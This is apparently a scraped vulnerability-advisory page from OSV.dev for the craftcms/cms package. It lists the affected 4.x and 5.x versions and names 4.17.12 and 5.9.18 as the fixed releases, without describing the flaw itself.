            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.2


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.12


          5.9.18

References

Updated May 13, 2026 · Source: OSV.dev

Mar 17, 2026

craftcms/cms

Activity

Reach

Details